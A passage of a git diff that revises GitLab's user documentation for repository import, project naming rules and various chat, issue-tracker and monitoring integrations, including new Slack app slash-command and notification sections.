+++ b/doc/user/project/import/manifest.md @@ -7,7 +7,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Import multiple repositories by uploading a manifest file **(FREE)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/28811) in GitLab 11.2. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/28811) in GitLab 11.2. +> - Ability to re-import projects [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/23905) in GitLab 15.9. GitLab allows you to import all the required Git repositories based on a manifest file like the one used by the @@ -26,7 +27,7 @@ repositories like the Android Open Source Project (AOSP). A manifest must be an XML file. There must be one `remote` tag with a `review` attribute that contains a URL to a Git server, and each `project` tag must have -a `name` and `path` attribute. GitLab will then build the URL to the repository +a `name` and `path` attribute. GitLab then builds the URL to the repository by combining the URL from the `remote` tag with a project name. A path attribute is used to represent the project path in GitLab. @@ -59,6 +60,6 @@ To start the import: 1. Select a group you want to import to (you need to create a group first if you don't have one). 1. Select **List available repositories**. At this point, you are redirected to the import status page with projects list based on the manifest file. -1. Check the list and select **Import all repositories** to start the import. - -  +1. To import: + - All projects for the first time: Select **Import all repositories**. + - Individual projects again: Select **Re-import**. Specify a new name and select **Re-import** again. Re-importing creates a new copy of the source project. diff --git a/doc/user/project/import/perforce.md b/doc/user/project/import/perforce.md index ca50a32836e..a96297b1a38 100644 --- a/doc/user/project/import/perforce.md +++ b/doc/user/project/import/perforce.md @@ -16,7 +16,7 @@ The following list illustrates the main differences between Perforce Helix and Git: - In general, the biggest difference is that Perforce branching is heavyweight - compared to Git's lightweight branching. When you create a branch in Perforce, + compared to Git lightweight branching. When you create a branch in Perforce, it creates an integration record in their proprietary database for every file in the branch, regardless how many were actually changed. With Git, however, a single SHA acts as a pointer to the state of the whole repository after the @@ -56,7 +56,7 @@ Here's a few links to get you started: - [`git-p4` example usage](https://git.wiki.kernel.org/index.php/Git-p4_Usage) - [Git book migration guide](https://git-scm.com/book/en/v2/Git-and-Other-Systems-Migrating-to-Git#_perforce_import) -Note that `git p4` and `git filter-branch` are not very good at +`git p4` and `git filter-branch` are not very good at creating small and efficient Git pack files. So it might be a good idea to spend time and CPU to properly repack your repository before sending it for the first time to your GitLab server. See diff --git a/doc/user/project/import/phabricator.md b/doc/user/project/import/phabricator.md index 09e7543bc4a..8a2dbba1343 100644 --- a/doc/user/project/import/phabricator.md +++ b/doc/user/project/import/phabricator.md @@ -36,7 +36,7 @@ Only the following basic fields are imported: The assignee and author of a user are deducted from a Task's owner and author: If a user with the same username has access to the namespace -of the project being imported into, then the user will be linked. +of the project being imported into, then the user is linked. ## Enable this feature diff --git a/doc/user/project/index.md b/doc/user/project/index.md index 08caa62bcb2..decf3b071e7 100644 --- a/doc/user/project/index.md +++ b/doc/user/project/index.md @@ -16,8 +16,7 @@ To create a blank project: 1. On the right of the page, select **New project**. 1. Select **Create blank project**. 1. Enter the project details: - - In the **Project name** field, enter the name of your project. You cannot use special characters at - the start or end of a project name. + - In the **Project name** field, enter the name of your project. The name must start with a lowercase or uppercase letter (`a-zA-Z`), digit (`0-9`), emoji, or underscore (`_`). It can also contain dots (`.`), pluses (`+`), dashes (`-`), or spaces. - In the **Project slug** field, enter the path to your project. The GitLab instance uses the slug as the URL path to the project. To change the slug, first enter the project name, then change the slug. @@ -51,8 +50,7 @@ To create a project from a built-in template: - To view a preview of the template, select **Preview**. - To use a template for the project, select **Use template**. 1. Enter the project details: - - In the **Project name** field, enter the name of your project. You cannot use special characters at - the start or end of a project name. + - In the **Project name** field, enter the name of your project. The name must start with a lowercase or uppercase letter (`a-zA-Z`), digit (`0-9`), emoji, or underscore (`_`). It can also contain dots (`.`), pluses (`+`), dashes (`-`), or spaces. - In the **Project slug** field, enter the path to your project. The GitLab instance uses the slug as the URL path to the project. To change the slug, first enter the project name, then change the slug. @@ -61,6 +59,11 @@ To create a project from a built-in template: change the **Visibility Level**. 1. Select **Create project**. +NOTE: +A user who creates a project [from a template](#create-a-project-from-a-built-in-template) or [by import](settings/import_export.md#import-a-project-and-its-data) is displayed as the author of the imported objects (such as issues and merge requests), which keep the original timestamp from the template or import. +Imported objects are labeled as `By <username> on <timestamp> (imported from GitLab)`. +For this reason, the creation date of imported objects can be older than the creation date of the user's account. This can lead to objects appearing to have been created by a user before they even had an account. + ## Create a project from a custom template **(PREMIUM)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/6860) in GitLab 11.2. @@ -78,8 +81,7 @@ Custom project templates are available at: - To view a preview of the template, select **Preview**. - To use a template for the project, select **Use template**. 1. Enter the project details: - - In the **Project name** field, enter the name of your project. You cannot use special characters at - the start or end of a project name. + - In the **Project name** field, enter the name of your project. The name must start with a lowercase or uppercase letter (`a-zA-Z`), digit (`0-9`), emoji, or underscore (`_`). It can also contain dots (`.`), pluses (`+`), dashes (`-`), or spaces. - In the **Project slug** field, enter the path to your project. The GitLab instance uses the slug as the URL path to the project. To change the slug, first enter the project name, then change the slug. @@ -105,8 +107,7 @@ To create a project from the HIPAA Audit Protocol template: - To view a preview of the template, select **Preview**. - To use the template for the project, select **Use template**. 1. Enter the project details: - - In the **Project name** field, enter the name of your project. You cannot use special characters at - the start or end of a project name. + - In the **Project name** field, enter the name of your project. The name must start with a lowercase or uppercase letter (`a-zA-Z`), digit (`0-9`), emoji, or underscore (`_`). It can also contain dots (`.`), pluses (`+`), dashes (`-`), or spaces. - In the **Project slug** field, enter the path to your project. The GitLab instance uses the slug as the URL path to the project. To change the slug, first enter the project name, then change the slug. diff --git a/doc/user/project/integrations/apple_app_store.md b/doc/user/project/integrations/apple_app_store.md index 62b25bf8191..1b41dd0b669 100644 --- a/doc/user/project/integrations/apple_app_store.md +++ b/doc/user/project/integrations/apple_app_store.md @@ -4,7 +4,7 @@ group: Integrations info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Apple App Store integration **(FREE)** +# Apple App Store **(FREE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/104888) in GitLab 15.8 [with a flag](../../../administration/feature_flags.md) named `apple_app_store_integration`. Disabled by default. diff --git a/doc/user/project/integrations/asana.md b/doc/user/project/integrations/asana.md index 97fb4e7c463..8bc1a984e3d 100644 --- a/doc/user/project/integrations/asana.md +++ b/doc/user/project/integrations/asana.md @@ -4,7 +4,7 @@ group: Integrations info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Asana integration **(FREE)** +# Asana **(FREE)** This integration adds commit messages as comments to Asana tasks. Once enabled, commit messages are checked for Asana task URLs (for example, diff --git a/doc/user/project/integrations/bamboo.md b/doc/user/project/integrations/bamboo.md index db90bafaaa5..12039a70d0e 100644 --- a/doc/user/project/integrations/bamboo.md +++ b/doc/user/project/integrations/bamboo.md @@ -4,7 +4,7 @@ group: Integrations info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Atlassian Bamboo integration **(FREE)** +# Atlassian Bamboo **(FREE)** You can automatically trigger builds in Atlassian Bamboo when you push changes to your project in GitLab. @@ -71,7 +71,7 @@ and Bamboo build variables to: For example: -1. Create an [access token](../../../api/index.md#personalprojectgroup-access-tokens) in GitLab with `:api` permissions. +1. Create an [access token](../../../api/rest/index.md#personalprojectgroup-access-tokens) in GitLab with `:api` permissions. 1. Save the token as a `$GITLAB_TOKEN` variable in Bamboo. 1. Add the following script as a final task to the Bamboo plan's jobs: diff --git a/doc/user/project/integrations/bugzilla.md b/doc/user/project/integrations/bugzilla.md index 9221250e17f..2933203c593 100644 --- a/doc/user/project/integrations/bugzilla.md +++ b/doc/user/project/integrations/bugzilla.md @@ -4,7 +4,7 @@ group: Integrations info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Bugzilla service **(FREE)** +# Bugzilla **(FREE)** [Bugzilla](https://www.bugzilla.org/) is a web-based general-purpose bug tracking system and testing tool. @@ -37,8 +37,8 @@ After you configure and enable Bugzilla, a link appears on the GitLab project pages. This link takes you to the appropriate Bugzilla project. You can also disable [GitLab internal issue tracking](../issues/index.md) in this project. -Learn more about the steps and consequences of disabling GitLab issues in -[Sharing and permissions](../settings/index.md#configure-project-visibility-features-and-permissions). +For more information about the steps and consequences of disabling GitLab issues, see +[Configure project visibility, features, and permissions](../settings/index.md#configure-project-visibility-features-and-permissions). ## Reference Bugzilla issues in GitLab diff --git a/doc/user/project/integrations/discord_notifications.md b/doc/user/project/integrations/discord_notifications.md index 9439e480484..0163bce3496 100644 --- a/doc/user/project/integrations/discord_notifications.md +++ b/doc/user/project/integrations/discord_notifications.md @@ -4,9 +4,9 @@ group: Integrations info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Discord Notifications service **(FREE)** +# Discord Notifications **(FREE)** -The Discord Notifications service sends event notifications from GitLab to the channel for which the webhook was created. +The Discord Notifications integration sends event notifications from GitLab to the channel for which the webhook was created. To send GitLab event notifications to a Discord channel, [create a webhook in Discord](https://support.discord.com/hc/en-us/articles/228383668-Intro-to-Webhooks) and configure it in GitLab. @@ -24,7 +24,7 @@ and configure it in GitLab. ## Configure created webhook in GitLab -With the webhook URL created in the Discord channel, you can set up the Discord Notifications service in GitLab. +With the webhook URL created in the Discord channel, you can set up the Discord Notifications integration in GitLab. 1. On the top bar, select **Main menu > Projects** and find your project. 1. On the left sidebar, select **Settings > Integrations**. diff --git a/doc/user/project/integrations/emails_on_push.md b/doc/user/project/integrations/emails_on_push.md index ff255cbba51..c3134e986d3 100644 --- a/doc/user/project/integrations/emails_on_push.md +++ b/doc/user/project/integrations/emails_on_push.md @@ -4,9 +4,9 @@ group: Integrations info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Enabling emails on push **(FREE)** +# Emails on push **(FREE)** -By enabling this service, you receive email notifications for every change +When you enable emails on push, you receive email notifications for every change that is pushed to your project. To enable emails on push: diff --git a/doc/user/project/integrations/ewm.md b/doc/user/project/integrations/ewm.md index d972509c0f6..c2371d32853 100644 --- a/doc/user/project/integrations/ewm.md +++ b/doc/user/project/integrations/ewm.md @@ -4,13 +4,13 @@ group: Integrations info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# IBM Engineering Workflow Management (EWM) Integration **(FREE)** +# Engineering Workflow Management (EWM) **(FREE)** -This service allows you to go from GitLab to EWM work items mentioned in merge request +This integration allows you to go from GitLab to EWM work items mentioned in merge request descriptions and commit messages. Each work item reference is automatically converted to a link to the work item. -This IBM product was [formerly named Rational Team Concert](https://jazz.net/blog/index.php/2019/04/23/renaming-the-ibm-continuous-engineering-portfolio/)(RTC). This integration is compatible with all versions of RTC and EWM. +This IBM product was [formerly named Rational Team Concert (RTC)](https://jazz.net/blog/index.php/2019/04/23/renaming-the-ibm-continuous-engineering-portfolio/). This integration is compatible with all versions of RTC and EWM. To enable the EWM integration, in a project: @@ -51,5 +51,5 @@ You can use the following keywords: - `work item` - `workitem` -Avoid using the keyword `#`. Learn more in the EWM documentation page +Avoid using the keyword `#`. For more information, see [Creating links from commit comments](https://www.ibm.com/docs/en/elm/7.0.0?topic=commits-creating-links-from-commit-comments). diff --git a/doc/user/project/integrations/github.md b/doc/user/project/integrations/github.md index 603ed8b4c05..990d0839581 100644 --- a/doc/user/project/integrations/github.md +++ b/doc/user/project/integrations/github.md @@ -4,7 +4,7 @@ group: Integrations info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# GitHub project integration **(PREMIUM)** +# GitHub **(PREMIUM)** You can update GitHub with pipeline status updates from GitLab. This integration can help you if you use GitLab for CI/CD. diff --git a/doc/user/project/integrations/gitlab_slack_application.md b/doc/user/project/integrations/gitlab_slack_application.md index 50b52421a5a..649b0c51818 100644 --- a/doc/user/project/integrations/gitlab_slack_application.md +++ b/doc/user/project/integrations/gitlab_slack_application.md @@ -7,16 +7,18 @@ info: To determine the technical writer assigned to the Stage/Group associated w # GitLab for Slack app **(FREE SAAS)** NOTE: -The GitLab for Slack app is only configurable for GitLab.com. It does **not** -work for on-premises installations where you can configure -[Slack slash commands](slack_slash_commands.md) instead. See -[Slack application integration for self-managed instances](https://gitlab.com/groups/gitlab-org/-/epics/1211) -for our plans to make the app configurable for all GitLab installations. +This feature is only configurable on GitLab.com. +For self-managed GitLab instances, use +[Slack slash commands](slack_slash_commands.md) and [Slack notifications](slack.md) instead. +For more information about our plans to make this feature configurable for all GitLab installations, +see [epic 1211](https://gitlab.com/groups/gitlab-org/-/epics/1211). Slack provides a native application that you can enable with your project's integrations on GitLab.com. -## Slack App Directory +## Installation + +### Through the Slack App Directory To enable the GitLab for Slack app for your workspace, install the [GitLab application](https://slack-platform.slack.com/apps/A676ADMV5-gitlab) @@ -25,7 +27,7 @@ from the [Slack App Directory](https://slack.com/apps). On the [GitLab for Slack app landing page](https://gitlab.com/-/profile/slack/edit), you can select a GitLab project to link with your Slack workspace. -## Configuration +### Through GitLab project settings Alternatively, you can configure the GitLab for Slack app with your project's integration settings. @@ -44,9 +46,44 @@ To enable the GitLab integration for your Slack workspace: You can also select **Reinstall GitLab for Slack app** to update the app in your Slack workspace to the latest version. See [Version history](#version-history) for details. -## Create a project alias for Slack +## Slash commands + +After installing the GitLab for Slack app, everyone in your Slack workspace can use slash commands. + +Replace `<project>` with the project full path, or create a shorter [project alias](#create-a-project-alias-for-slash-commands) for the slash commands. + +| Command | Effect | +| ------- | ------ | +| `/gitlab help` | Shows all available slash commands. | +| `/gitlab <project> issue new <title> <shift+return> <description>` | Creates a new issue with the title `<title>` and description `<description>`. | +| `/gitlab <project> issue show <id>` | Shows the issue with the ID `<id>`. | +| `/gitlab <project> issue close <id>` | Closes the issue with the ID `<id>`. | +| `/gitlab <project> issue search <query>` | Shows up to 5 issues matching `<query>`. | +| `/gitlab <project> issue move <id> to <project>` | Moves the issue with the ID `<id>` to `<project>`. | +| `/gitlab <project> issue comment <id> <shift+return> <comment>` | Adds a new comment with the comment body `<comment>` to the issue with the ID `<id>`. | +| `/gitlab <project> deploy <from> to <to>` | [Deploys](#the-deploy-slash-command) from the `<from>` environment to the `<to>` environment. | +| `/gitlab <project> run <job name> <arguments>` | Executes the [ChatOps](../../../ci/chatops/index.md) job `<job name>` on the default branch. | + +### The deploy slash command + +To deploy to an environment, GitLab tries to find a deployment +manual action in the pipeline. + +If there's only one action for a given environment, it is triggered. +If more than one action is defined, GitLab finds an action +name that matches the environment name to deploy to. + +The command returns an error if no matching action is found. + +### User authorization + +When you perform your first slash command, you must +authorize your Slack user on GitLab.com. + +### Create a project alias for slash commands -To create a project alias on GitLab.com for Slack integration: +By default, slash commands expect a project full path. To use a shorter alias +instead: 1. Go to your project's home page. 1. Go to **Settings > Integrations** (only visible on GitLab.com). @@ -55,43 +92,107 @@ To create a project alias on GitLab.com for Slack integration: select **Edit**. 1. Enter your desired alias, and select **Save changes**. -Some Slack commands require a project alias and fail with the following error -if the project alias is incorrect or missing from the command: +## Slack notifications -```plaintext -GitLab error: project or alias not found -``` +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/381012) in GitLab 15.9. -## Usage +With Slack notifications, GitLab can send messages to Slack workspace channels for certain GitLab [events](#events-for-slack-notifications) (for example, when an issue is created). -After installing the app, everyone in your Slack workspace can -use the [slash commands](../../../integration/slash_commands.md). -When you perform your first slash command, you are asked to -authorize your Slack user on GitLab.com. +### Configure notifications -The only difference with the [manually configurable Slack slash commands](slack_slash_commands.md) -is that you must prefix all commands with the `/gitlab` keyword. For example, -to show the issue number `1001` under the `gitlab-org/gitlab` -project, you must run the following command: +To configure Slack notifications: -```plaintext -/gitlab gitlab-org/gitlab issue show 1001 -``` +1. On the top bar, select **Main menu > Projects** and find a project for which the GitLab for Slack app has been [installed](#installation). +1. On the left sidebar, select **Settings > Integrations**. +1. Select **GitLab for Slack app**. +1. In the **Trigger** section, select the checkbox for each GitLab + event you want to receive a notification for in Slack. For a full list, see + [Events for Slack notifications](#events-for-slack-notifications). +1. For each checkbox you select, enter the name of the channel that receives the notifications (for example, `#my-channel`). + - To send notifications to multiple Slack channels, enter up to 10 channel names separated by commas (for example, `#channel-one, #channel-two`). -## Version history + NOTE: + If the channel is private, you must also [add the GitLab for Slack app to the private channel](#receive-notifications-to-a-private-channel). + +1. Select the **Notify only broken pipelines** checkbox to notify only on failures. +1. From the **Branches for which notifications are to be sent** dropdown list, select which branches you want to receive notifications (if relevant to your events). +1. Leave the **Labels to be notified** text box blank to receive all notifications, or + add labels the issue or merge request must have to trigger a + notification. +1. Select **Save changes**. + +Your Slack workspace can now start receiving GitLab event notifications. + +### Receive notifications to a private channel -In GitLab 15.0 and later, the GitLab for Slack app is updated to [Slack's new granular permissions model](https://medium.com/slack-developer-blog/more-precision-less-restrictions-a3550006f9c3). While there is no change in functionality, you should reinstall the app. +To receive notifications to a private Slack channel, you must add the GitLab for Slack app to the channel: + +1. Mention the app in the channel by typing `@GitLab` and pressing <kbd>Enter</kbd>. +1. Select **Add to Channel**. + +### Events for Slack notifications + +The following events are available for Slack notifications: + +| Event name | Description | +|--------------------------------------------------------------------------|------------------------------------------------------| +| **Push** | A push to the repository. | +| **Issue** | An issue is created, updated, or closed. | +| **Confidential issue** | A confidential issue is created, updated, or closed. | +| **Merge request** | A merge request is created, updated, or merged. | +| **Note** | A comment is added. | +| **Confidential note** | A confidential note is added. | +| **Tag push** | A new tag is pushed to the repository. | +| **Pipeline** | A pipeline status changed. | +| **Wiki page** | A wiki page is created or updated. | +| **Deployment** | A deployment starts or finishes. | +| **Alert** | A new, unique alert is recorded. | +| [**Vulnerability**](../../application_security/vulnerabilities/index.md) | A new, unique vulnerability is recorded. | ## Troubleshooting -When you work with the GitLab for Slack app, the -[App Home](https://api.slack.com/start/overview#app_home) might not display properly. -As a workaround, ensure your app is up to date. +### Update the GitLab for Slack app + +New releases of the app might require permissions to be authorized before some features work in your Slack workspace. You should ensure the app is up to date in your Slack workspace to enjoy all the latest features. -To update an existing Slack integration: +To update your GitLab for Slack app: -1. Go to your [chat settings](https://gitlab.com/-/profile/chat_names). -1. Next to your project, select **GitLab for Slack app**. +1. On the top bar, select **Main menu > Projects** and find a project for which the GitLab for Slack app has been configured. +1. On the left sidebar, select **Settings > Integrations**. +1. Select **GitLab for Slack app**. 1. Select **Reinstall GitLab for Slack app**. +The GitLab for Slack app is updated for all projects that use the integration. + Alternatively, you can [configure a new Slack integration](https://about.gitlab.com/solutions/slack/). + +### Project or alias not found + +Some Slack commands must have a project full path or alias and fail with the following error +if the project cannot be found: + +```plaintext +GitLab error: project or alias not found +``` + +As a workaround, ensure: + +- The project full path is correct. +- If using a [project alias](#create-a-project-alias-for-slash-commands), the alias is correct. +- The GitLab for Slack app integration is [enabled for the project](#through-gitlab-project-settings). + +### Notifications are not received to a channel + +If you're not receiving notifications to a Slack channel, ensure: + +- The channel name you configured is correct. +- If the channel is private, you've [added the GitLab for Slack app to the channel](#receive-notifications-to-a-private-channel). + +### The App Home does not display properly + +If the [App Home](https://api.slack.com/start/overview#app_home) does not display properly, ensure your [app is up to date](#update-the-gitlab-for-slack-app). + +## Version history + +In GitLab 15.0 and later, the GitLab for Slack app is updated to [Slack's new granular permissions model](https://medium.com/slack-developer-blog/more-precision-less-restrictions-a3550006f9c3). +Although there is no change in functionality, you should [reinstall the app](#update-the-gitlab-for-slack-app). diff --git a/doc/user/project/integrations/hangouts_chat.md b/doc/user/project/integrations/hangouts_chat.md index c6e102b1d74..3537033902d 100644 --- a/doc/user/project/integrations/hangouts_chat.md +++ b/doc/user/project/integrations/hangouts_chat.md @@ -4,7 +4,7 @@ group: Integrations info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Google Chat integration **(FREE)** +# Google Chat **(FREE)** Integrate your project to send notifications from GitLab to a room of your choice in [Google Chat](https://chat.google.com/) (former Google @@ -28,7 +28,7 @@ notifications to Google Chat: To enable the integration in Google Chat: 1. Enter the room where you want to receive notifications from GitLab. -1. Open the room dropdown list on the top-left and select **Manage webhooks**. +1. Open the room dropdown list in the upper left and select **Manage webhooks**. 1. Enter the name for your webhook, for example "GitLab integration". 1. Optional. Add an avatar for your bot. 1. Select **Save**. diff --git a/doc/user/project/integrations/harbor.md b/doc/user/project/integrations/harbor.md index d75f10e0e11..596821ba12b 100644 --- a/doc/user/project/integrations/harbor.md +++ b/doc/user/project/integrations/harbor.md @@ -4,7 +4,7 @@ group: Integrations info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Harbor container registry integration **(FREE)** +# Harbor **(FREE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/80999) in GitLab 14.9. diff --git a/doc/user/project/integrations/index.md b/doc/user/project/integrations/index.md index 769a45fc6ff..57947e21736 100644 --- a/doc/user/project/integrations/index.md +++ b/doc/user/project/integrations/index.md @@ -90,7 +90,7 @@ You can configure a project webhook to listen for specific events like pushes, issues, or merge requests. When the webhook is triggered, GitLab sends a POST request with data to a specified webhook URL. -Learn more [about webhooks](webhooks.md). +For more information, see [Webhooks](webhooks.md). ## Push hooks limit @@ -104,7 +104,7 @@ You can change the number of supported branches or tags by changing the ## Troubleshooting integrations -Some integrations use hooks to integrate with external applications. To confirm which ones use integration hooks, see the [available integrations](#available-integrations). Learn more about [troubleshooting integration hooks](webhooks.md#troubleshoot-webhooks). +Some integrations use hooks to integrate with external applications. To confirm which ones use integration hooks, see the [available integrations](#available-integrations). For more information, see [Troubleshooting webhooks](webhooks.md#troubleshoot-webhooks). ### `Test Failed. Save Anyway` error diff --git a/doc/user/project/integrations/irker.md b/doc/user/project/integrations/irker.md index 70f48e4647a..23525c33e84 100644 --- a/doc/user/project/integrations/irker.md +++ b/doc/user/project/integrations/irker.md @@ -4,10 +4,10 @@ group: Integrations info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# irker IRC Gateway **(FREE)** +# irker (IRC gateway) **(FREE)** GitLab provides a way to push update messages to an irker server. When -configured, pushes to a project trigger the service to send data directly +configured, pushes to a project trigger the integration to send data directly to the irker server. See also the [irker integration API documentation](../../../api/integrations.md). diff --git a/doc/user/project/integrations/mattermost.md b/doc/user/project/integrations/mattermost.md index 39b89cd87a9..fcc364724b7 100644 --- a/doc/user/project/integrations/mattermost.md +++ b/doc/user/project/integrations/mattermost.md @@ -4,9 +4,9 @@ group: Integrations info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Mattermost notifications service **(FREE)** +# Mattermost notifications **(FREE)** -Use the Mattermost notifications service to send notifications for GitLab events +Use the Mattermost notifications integration to send notifications for GitLab events (for example, `issue created`) to Mattermost. You must configure both [Mattermost](#configure-mattermost-to-receive-gitlab-notifications) and [GitLab](#configure-gitlab-to-send-notifications-to-mattermost). @@ -36,6 +36,8 @@ Display name override is not enabled by default, you need to ask your administra ## Configure GitLab to send notifications to Mattermost +> [Changed](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/106760) in GitLab 15.9 to limit Mattermost channels to 10 per event. + After the Mattermost instance has an incoming webhook set up, you can set up GitLab to send the notifications: diff --git a/doc/user/project/integrations/microsoft_teams.md b/doc/user/project/integrations/microsoft_teams.md index cedb5af144f..fc5d4d3cc80 100644 --- a/doc/user/project/integrations/microsoft_teams.md +++ b/doc/user/project/integrations/microsoft_teams.md @@ -4,9 +4,9 @@ group: Integrations info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Microsoft Teams service **(FREE)** +# Microsoft Teams notifications **(FREE)** -You can integrate Microsoft Teams with GitLab, and display notifications about GitLab projects +You can integrate Microsoft Teams notifications with GitLab and display notifications about GitLab projects in Microsoft Teams. To integrate the services, you must: 1. [Configure Microsoft Teams](#configure-microsoft-teams) to enable a webhook diff --git a/doc/user/project/integrations/mock_ci.md b/doc/user/project/integrations/mock_ci.md index 64ee4521ce4..ae1737f8d3f 100644 --- a/doc/user/project/integrations/mock_ci.md +++ b/doc/user/project/integrations/mock_ci.md @@ -4,10 +4,10 @@ group: Integrations info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Mock CI Service **(FREE)** +# Mock CI **(FREE)** NOTE: -This service is only listed if you are in a [development environment](https://gitlab.com/gitlab-org/gitlab-mock-ci-service#setup-mockci-integration)! +This integration only appears if you're in a [development environment](https://gitlab.com/gitlab-org/gitlab-mock-ci-service#setup-mockci-integration). To set up the mock CI service server, respond to the following endpoints diff --git a/doc/user/project/integrations/pivotal_tracker.md b/doc/user/project/integrations/pivotal_tracker.md index 79a00725470..034be8ab3d8 100644 --- a/doc/user/project/integrations/pivotal_tracker.md +++ b/doc/user/project/integrations/pivotal_tracker.md @@ -4,9 +4,9 @@ group: Integrations info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Pivotal Tracker service **(FREE)** +# Pivotal Tracker **(FREE)** -This service adds commit messages as comments to Pivotal Tracker stories. +This integration adds commit messages as comments to Pivotal Tracker stories. Once enabled, commit messages are checked for square brackets containing a hash mark followed by the story ID (for example, `[#555]`). Every story ID found gets the commit comment added to it. diff --git a/doc/user/project/integrations/prometheus.md b/doc/user/project/integrations/prometheus.md index dfa5a4593d8..cd92e49cada 100644 --- a/doc/user/project/integrations/prometheus.md +++ b/doc/user/project/integrations/prometheus.md @@ -4,7 +4,7 @@ group: Respond info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Prometheus integration **(FREE)** +# Prometheus **(FREE)** GitLab offers powerful integration with [Prometheus](https://prometheus.io) for monitoring key metrics of your apps, directly in GitLab. diff --git a/doc/user/project/integrations/prometheus_library/index.md b/doc/user/project/integrations/prometheus_library/index.md index 4ef3a847ef1..afefe80271e 100644 --- a/doc/user/project/integrations/prometheus_library/index.md +++ b/doc/user/project/integrations/prometheus_library/index.md @@ -35,7 +35,7 @@ GitLab retrieves performance data from the configured Prometheus server, and attempts to identifying the presence of known metrics. Once identified, GitLab then needs to be able to map the data to a particular environment. -In order to isolate and only display relevant metrics for a given environment, +To isolate and only display relevant metrics for a given environment, GitLab needs a method to detect which labels are associated. To do that, GitLab uses the defined queries and fills in the environment specific variables. Typically this involves looking for the diff --git a/doc/user/project/integrations/prometheus_library/kubernetes.md b/doc/user/project/integrations/prometheus_library/kubernetes.md index 0795c110deb..34a6823f007 100644 --- a/doc/user/project/integrations/prometheus_library/kubernetes.md +++ b/doc/user/project/integrations/prometheus_library/kubernetes.md @@ -42,7 +42,7 @@ Prometheus needs to be deployed into the cluster and configured properly to gath ## Specifying the Environment -In order to isolate and only display relevant CPU and Memory metrics for a given environment, GitLab needs a method to detect which containers it is running. Because these metrics are tracked at the container level, traditional Kubernetes labels are not available. +To isolate and only display relevant CPU and Memory metrics for a given environment, GitLab needs a method to detect which containers it is running. Because these metrics are tracked at the container level, traditional Kubernetes labels are not available. Instead, the [Deployment](https://kubernetes.io/docs/concepts/workloads/controllers/deployment/) or [DaemonSet](https://kubernetes.io/docs/concepts/workloads/controllers/daemonset/) name should begin with [CI_ENVIRONMENT_SLUG](../../../../ci/variables/index.md#predefined-cicd-variables). It can be followed by a `-` and additional content if desired. For example, a deployment name of `review-homepage-5620p5` would match the `review/homepage` environment. diff --git a/doc/user/project/integrations/prometheus_library/nginx_ingress_vts.md b/doc/user/project/integrations/prometheus_library/nginx_ingress_vts.md index e6f2ac2753a..f8057866592 100644 --- a/doc/user/project/integrations/prometheus_library/nginx_ingress_vts.md +++ b/doc/user/project/integrations/prometheus_library/nginx_ingress_vts.md @@ -42,6 +42,6 @@ Managing these settings depends on how NGINX Ingress has been deployed. If you h ## Specifying the Environment label -In order to isolate and only display relevant metrics for a given environment, GitLab needs a method to detect which labels are associated. To do this, GitLab searches for metrics with appropriate labels. In this case, the `upstream` label must be of the form `<KUBE_NAMESPACE>-<CI_ENVIRONMENT_SLUG>-*`. +To isolate and only display relevant metrics for a given environment, GitLab needs a method to detect which labels are associated. To do this, GitLab searches for metrics with appropriate labels. In this case, the `upstream` label must be of the form `<KUBE_NAMESPACE>-<CI_ENVIRONMENT_SLUG>-*`. If you have used [Auto Deploy](../../../../topics/autodevops/stages.md#auto-deploy) to deploy your app, this format is used automatically and metrics are detected with no action on your part. diff --git a/doc/user/project/integrations/redmine.md b/doc/user/project/integrations/redmine.md index e9752d7ce6c..0a399d3481f 100644 --- a/doc/user/project/integrations/redmine.md +++ b/doc/user/project/integrations/redmine.md @@ -4,7 +4,7 @@ group: Integrations info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Redmine service **(FREE)** +# Redmine **(FREE)** Use [Redmine](https://www.redmine.org/) as the issue tracker. @@ -37,8 +37,8 @@ For example, this is a configuration for a project named `gitlab-ci`: - New issue URL: `https://redmine.example.com/projects/gitlab-ci/issues/new` You can also disable [GitLab internal issue tracking](../issues/index.md) in this project. -Learn more about the steps and consequences of disabling GitLab issues in -[Sharing and permissions](../settings/index.md#configure-project-visibility-features-and-permissions). +For more information about the 